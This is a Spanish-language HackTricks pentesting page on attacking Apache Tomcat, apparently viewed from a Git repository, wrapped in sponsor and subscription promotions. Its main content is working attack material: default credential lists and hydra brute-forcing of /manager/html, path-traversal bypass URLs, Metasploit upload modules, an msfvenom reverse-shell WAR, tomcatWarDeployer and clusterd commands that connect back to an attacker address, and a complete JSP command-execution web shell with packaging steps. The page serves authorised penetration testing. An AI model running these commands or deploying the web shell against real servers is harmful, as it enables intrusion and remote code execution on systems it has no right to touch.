hacktricks/network-services-pentesting/pentesting-web/tomcat.md

253 lines
13 KiB
Markdown
Raw Normal View History

2023-06-05 20:33:24 +02:00
# Tomcat
<details>
<summary><strong>Aprende a hackear AWS desde cero hasta convertirte en un experto con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
2023-06-05 20:33:24 +02:00
* ¿Trabajas en una **empresa de ciberseguridad**? ¿Quieres ver tu **empresa anunciada en HackTricks**? ¿O quieres tener acceso a la **última versión del PEASS o descargar HackTricks en PDF**? ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
* Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* Obtén la [**merchandising oficial de PEASS & HackTricks**](https://peass.creator-spring.com)
* **Únete al** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sígueme** en **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Comparte tus trucos de hacking enviando PRs al [repositorio de hacktricks](https://github.com/carlospolop/hacktricks) y al [repositorio de hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud)**.
2023-06-05 20:33:24 +02:00
</details>
<figure><img src="/.gitbook/assets/image (675).png" alt=""><figcaption></figcaption></figure>
Encuentra las vulnerabilidades que más importan para que puedas solucionarlas más rápido. Intruder rastrea tu superficie de ataque, ejecuta escaneos proactivos de amenazas, encuentra problemas en toda tu pila tecnológica, desde APIs hasta aplicaciones web y sistemas en la nube. [**¡Pruébalo gratis**](https://www.intruder.io/?utm\_source=referral\&utm\_campaign=hacktricks) hoy.
{% embed url="https://www.intruder.io/?utm_campaign=hacktricks&utm_source=referral" %}
***
2023-06-05 20:33:24 +02:00
## Descubrimiento
* Normalmente se ejecuta en el **puerto 8080**
* **Error común de Tomcat:**
<figure><img src="../../.gitbook/assets/image (1) (6).png" alt=""><figcaption></figcaption></figure>
## Enumeración
### **Identificación de la Versión**
Para encontrar la versión de Apache Tomcat, se puede ejecutar un comando simple:
2023-06-05 20:33:24 +02:00
```bash
curl -s http://tomcat-site.local:8080/docs/ | grep Tomcat
2023-06-05 20:33:24 +02:00
```
### **Ubicación de Archivos del Manager**
Identificar las ubicaciones exactas de los directorios **`/manager`** y **`/host-manager`** es crucial ya que sus nombres podrían ser modificados. Se recomienda realizar una búsqueda de fuerza bruta para localizar estas páginas.
2023-06-05 20:33:24 +02:00
### **Enumeración de Nombres de Usuario**
Para versiones de Tomcat anteriores a la 6, es posible enumerar nombres de usuario a través de:
2023-06-05 20:33:24 +02:00
```bash
msf> use auxiliary/scanner/http/tomcat_enum
```
### **Credenciales predeterminadas**
El directorio **`/manager/html`** es particularmente sensible ya que permite la carga y despliegue de archivos WAR, lo que puede llevar a la ejecución de código. Este directorio está protegido por autenticación básica HTTP, con credenciales comunes siendo:
- admin:admin
- tomcat:tomcat
- admin:<NOTHING>
- admin:s3cr3t
- tomcat:s3cr3t
- admin:tomcat
2023-06-05 20:33:24 +02:00
Estas credenciales pueden ser probadas usando:
2023-06-05 20:33:24 +02:00
```bash
msf> use auxiliary/scanner/http/tomcat_mgr_login
```
Otro directorio notable es **`/manager/status`**, que muestra la versión de Tomcat y del sistema operativo, lo que facilita la identificación de vulnerabilidades.
2023-06-05 20:33:24 +02:00
### **Ataque de Fuerza Bruta**
Para intentar un ataque de fuerza bruta en el directorio del administrador, se puede usar:
2023-06-05 20:33:24 +02:00
```bash
hydra -L users.txt -P /usr/share/seclists/Passwords/darkweb2017-top1000.txt -f 10.10.10.64 http-get /manager/html
```
## Vulnerabilidades Comunes
2023-06-05 20:33:24 +02:00
### **Divulgación de Rastreo de Contraseña**
Acceder a `/auth.jsp` puede revelar la contraseña en un rastreo bajo circunstancias afortunadas.
2023-06-05 20:33:24 +02:00
### **Codificación de URL Doble**
La vulnerabilidad CVE-2007-1860 en `mod_jk` permite la codificación de URL doble para la travesía de directorios, lo que habilita el acceso no autorizado a la interfaz de gestión a través de una URL especialmente diseñada.
2023-06-05 20:33:24 +02:00
Para acceder a la interfaz de gestión web de Tomcat, ve a: `pathTomcat/%252E%252E/manager/html`
2023-06-05 20:33:24 +02:00
### /examples
Las versiones de Apache Tomcat de 4.x a 7.x incluyen scripts de ejemplo que son susceptibles a la divulgación de información y ataques de scripting entre sitios (XSS). Estos scripts, enumerados de manera exhaustiva, deben ser verificados en busca de acceso no autorizado y posibles explotaciones. Encuentra [más información aquí](https://www.rapid7.com/db/vulnerabilities/apache-tomcat-example-leaks/)
2023-06-05 20:33:24 +02:00
* /examples/jsp/num/numguess.jsp
* /examples/jsp/dates/date.jsp
* /examples/jsp/snp/snoop.jsp
* /examples/jsp/error/error.html
* /examples/jsp/sessions/carts.html
* /examples/jsp/checkbox/check.html
* /examples/jsp/colors/colors.html
* /examples/jsp/cal/login.html
* /examples/jsp/include/include.jsp
* /examples/jsp/forward/forward.jsp
* /examples/jsp/plugin/plugin.jsp
* /examples/jsp/jsptoserv/jsptoservlet.jsp
* /examples/jsp/simpletag/foo.jsp
* /examples/jsp/mail/sendmail.jsp
* /examples/servlet/HelloWorldExample
* /examples/servlet/RequestInfoExample
* /examples/servlet/RequestHeaderExample
* /examples/servlet/RequestParamExample
* /examples/servlet/CookieExample
* /examples/servlet/JndiServlet
* /examples/servlet/SessionExample
* /tomcat-docs/appdev/sample/web/hello.jsp
### **Explotación de Travesía de Rutas**
En algunas [**configuraciones vulnerables de Tomcat**](https://www.acunetix.com/vulnerabilities/web/tomcat-path-traversal-via-reverse-proxy-mapping/) puedes obtener acceso a directorios protegidos en Tomcat usando la ruta: `/..;/`
2023-06-05 20:33:24 +02:00
Por ejemplo, podrías **acceder a la página del administrador de Tomcat** accediendo a: `www.vulnerable.com/lalala/..;/manager/html`
2023-06-05 20:33:24 +02:00
**Otra forma** de evadir rutas protegidas usando este truco es acceder a `http://www.vulnerable.com/;param=value/manager/html`
2023-06-05 20:33:24 +02:00
## RCE
Finalmente, si tienes acceso al Administrador de Aplicaciones Web de Tomcat, puedes **cargar e implementar un archivo .war (ejecutar código)**.
2023-06-05 20:33:24 +02:00
### Limitaciones
Solo podrás implementar un archivo WAR si tienes **suficientes privilegios** (roles: **admin**, **manager** y **manager-script**). Esos detalles se pueden encontrar en _tomcat-users.xml_ generalmente definido en `/usr/share/tomcat9/etc/tomcat-users.xml` (varía entre versiones) (ver sección [POST](tomcat.md#post)).
2023-06-05 20:33:24 +02:00
```bash
# tomcat6-admin (debian) or tomcat6-admin-webapps (rhel) has to be installed
# deploy under "path" context path
curl --upload-file monshell.war -u 'tomcat:password' "http://localhost:8080/manager/text/deploy?path=/monshell"
# undeploy
curl "http://tomcat:Password@localhost:8080/manager/text/undeploy?path=/monshell"
```
### Metasploit
Metasploit es una herramienta de código abierto ampliamente utilizada para el desarrollo y ejecución de exploits contra una máquina remota. Ofrece una amplia gama de módulos que pueden ser utilizados para realizar pruebas de penetración en servidores web, incluido Apache Tomcat.
2023-06-05 20:33:24 +02:00
```bash
use exploit/multi/http/tomcat_mgr_upload
msf exploit(multi/http/tomcat_mgr_upload) > set rhost <IP>
msf exploit(multi/http/tomcat_mgr_upload) > set rport <port>
msf exploit(multi/http/tomcat_mgr_upload) > set httpusername <username>
msf exploit(multi/http/tomcat_mgr_upload) > set httppassword <password>
msf exploit(multi/http/tomcat_mgr_upload) > exploit
```
### Shell inversa MSFVenom
1. Crear el archivo war para desplegar:
2023-06-05 20:33:24 +02:00
```bash
msfvenom -p java/shell_reverse_tcp LHOST=<LHOST_IP> LPORT=<LHOST_IP> -f war -o revshell.war
2023-06-05 20:33:24 +02:00
```
### Sube el archivo `revshell.war` y accede a él (`/revshell/`):
2023-06-05 20:33:24 +02:00
### Conexión de shell de enlace y reversa con [tomcatWarDeployer.py](https://github.com/mgeeky/tomcatWarDeployer)
2023-06-05 20:33:24 +02:00
En algunos escenarios esto no funciona (por ejemplo, en versiones antiguas de sun)
2023-06-05 20:33:24 +02:00
#### Descargar
2023-06-05 20:33:24 +02:00
```bash
git clone https://github.com/mgeeky/tomcatWarDeployer.git
```
#### Shell inverso
2023-06-05 20:33:24 +02:00
```bash
./tomcatWarDeployer.py -U <username> -P <password> -H <ATTACKER_IP> -p <ATTACKER_PORT> <VICTIM_IP>:<VICTIM_PORT>/manager/html/
```
#### Shell de conexión
2023-06-05 20:33:24 +02:00
```bash
./tomcatWarDeployer.py -U <username> -P <password> -p <bind_port> <victim_IP>:<victim_PORT>/manager/html/
```
### Usando [Culsterd](https://github.com/hatRiot/clusterd)
```bash
clusterd.py -i 192.168.1.105 -a tomcat -v 5.5 --gen-payload 192.168.1.6:4444 --deploy shell.war --invoke --rand-payload -o windows
```
### Método manual - Web shell
Cree **index.jsp** con este [contenido](https://raw.githubusercontent.com/tennc/webshell/master/fuzzdb-webshell/jsp/cmd.jsp):
2023-06-05 20:33:24 +02:00
```java
<FORM METHOD=GET ACTION='index.jsp'>
<INPUT name='cmd' type=text>
<INPUT type=submit value='Run'>
</FORM>
<%@ page import="java.io.*" %>
<%
String cmd = request.getParameter("cmd");
String output = "";
if(cmd != null) {
String s = null;
try {
Process p = Runtime.getRuntime().exec(cmd,null,null);
BufferedReader sI = new BufferedReader(new
2023-06-05 20:33:24 +02:00
InputStreamReader(p.getInputStream()));
while((s = sI.readLine()) != null) { output += s+"</br>"; }
} catch(IOException e) { e.printStackTrace(); }
}
2023-06-05 20:33:24 +02:00
%>
<pre><%=output %></pre>
```
```bash
mkdir webshell
cp index.jsp webshell
cd webshell
jar -cvf ../webshell.war *
webshell.war is created
# Upload it
```
### Método Manual 2
2023-06-05 20:33:24 +02:00
Obtenga un shell web JSP como [este](https://raw.githubusercontent.com/tennc/webshell/master/fuzzdb-webshell/jsp/cmd.jsp) y cree un archivo WAR:
2023-06-05 20:33:24 +02:00
```bash
wget https://raw.githubusercontent.com/tennc/webshell/master/fuzzdb-webshell/jsp/cmd.jsp
zip -r backup.war cmd.jsp
2023-06-05 20:33:24 +02:00
# When this file is uploaded to the manager GUI, the /backup application will be added to the table.
# Go to: http://tomcat-site.local:8180/backup/cmd.jsp
```
## POST
El nombre del archivo de credenciales de Tomcat es _tomcat-users.xml_
2023-06-05 20:33:24 +02:00
```bash
find / -name tomcat-users.xml 2>/dev/null
```
### Otras formas de obtener credenciales de Tomcat:
- **Brute Force Attack (Ataque de Fuerza Bruta):** Intentar adivinar las credenciales probando diferentes combinaciones de nombres de usuario y contraseñas.
- **Exploiting Default Credentials (Explotando Credenciales Predeterminadas):** Utilizar las credenciales predeterminadas que vienen con la instalación de Tomcat.
- **Phishing:** Engañar a los usuarios para que revelen sus credenciales a través de correos electrónicos o sitios web falsos.
- **Keylogging (Registro de Teclas):** Instalar un software de registro de teclas en el sistema de la víctima para capturar las credenciales introducidas.
- **Social Engineering (Ingeniería Social):** Manipular a las personas para que revelen sus credenciales voluntariamente.
2023-06-05 20:33:24 +02:00
```bash
msf> use post/multi/gather/tomcat_gather
msf> use post/windows/gather/enum_tomcat
```
## Otras herramientas de escaneo de tomcat
2023-06-05 20:33:24 +02:00
* [https://github.com/p0dalirius/ApacheTomcatScanner](https://github.com/p0dalirius/ApacheTomcatScanner)
## Referencias
* [https://github.com/simran-sankhala/Pentest-Tomcat](https://github.com/simran-sankhala/Pentest-Tomcat)
* [https://hackertarget.com/sample/nexpose-metasploitable-test.pdf](https://hackertarget.com/sample/nexpose-metasploitable-test.pdf)
<details>
<figure><img src="/.gitbook/assets/image (675).png" alt=""><figcaption></figcaption></figure>
Encuentra vulnerabilidades que importan más para que puedas solucionarlas más rápido. Intruder rastrea tu superficie de ataque, ejecuta escaneos proactivos de amenazas, encuentra problemas en toda tu pila tecnológica, desde APIs hasta aplicaciones web y sistemas en la nube. [**¡Pruébalo gratis**](https://www.intruder.io/?utm\_source=referral\&utm\_campaign=hacktricks) hoy.
{% embed url="https://www.intruder.io/?utm_campaign=hacktricks&utm_source=referral" %}
<summary><strong>Aprende a hackear AWS de cero a héroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
* ¿Trabajas en una **empresa de ciberseguridad**? ¿Quieres ver tu **empresa anunciada en HackTricks**? ¿O quieres tener acceso a la **última versión del PEASS o descargar HackTricks en PDF**? ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
* Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* Obtén la [**ropa oficial de PEASS & HackTricks**](https://peass.creator-spring.com)
* **Únete al** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sígueme** en **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Comparte tus trucos de hacking enviando PRs al [repositorio de hacktricks](https://github.com/carlospolop/hacktricks) y al [repositorio de hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud)**.
</details>